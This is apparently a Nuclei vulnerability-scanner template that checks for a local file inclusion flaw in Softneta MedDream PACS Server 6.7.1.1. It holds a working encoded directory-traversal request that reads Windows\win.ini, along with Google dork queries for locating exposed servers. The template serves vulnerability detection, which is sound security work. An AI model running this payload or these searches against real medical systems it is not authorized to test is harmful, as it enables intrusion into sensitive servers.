id: sofneta-mecdream-pacs-lfi

info:
  name: Softneta MedDream PACS Server Premium 6.7.1.1 - Local File Inclusion
  author: 0x_akoko
  severity: high
  description: Softneta MedDream PACS Server Premium 6.7.1.1 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/45347
    - https://www.softneta.com/products/meddream-pacs-server/downloads.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:softneta:meddream_pacs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    google-query: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login
    product: meddream_pacs
    vendor: softneta
  tags: sofneta,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 490a00463044022062bf9a870e0c23a43e6f9b9f197f696ece3a6bcc3ec67e501ae8f27c250a58cb02203478643a1073903fac1e6c45c0977bbf1da0864911137ecddea1301481cc0c08:922c64590222798bb761d5b6d8e72950